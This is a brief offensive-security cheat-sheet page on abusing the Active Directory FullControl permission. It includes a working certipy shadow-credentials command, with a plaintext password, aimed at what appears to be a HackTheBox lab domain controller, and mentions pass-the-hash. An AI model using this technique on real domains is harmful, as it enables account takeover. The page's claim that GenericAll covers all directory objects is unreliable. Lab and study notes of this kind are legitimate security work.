FullControl

Information

Full Control typically refers to the highest level of permissions granted on an object in AD. It allows the user or group to perform all actions on the object, including creating, deleting, modifying, and changing permissions.

GenericAll vs. FullControl

GenericAll is more comprehensive in its scope, encompassing all objects in the directory, whereas Full Control typically applies to specific objects and allows complete control over them.

Exploitation

Password Change

Check how here.

Shadow Credential

Get the object's hash and perform a PtH attack.

certipy shadow auto -username [e-mail] -password '1GR8t@$$4u' -k -account winrm_svc -target dc01.rebound.htb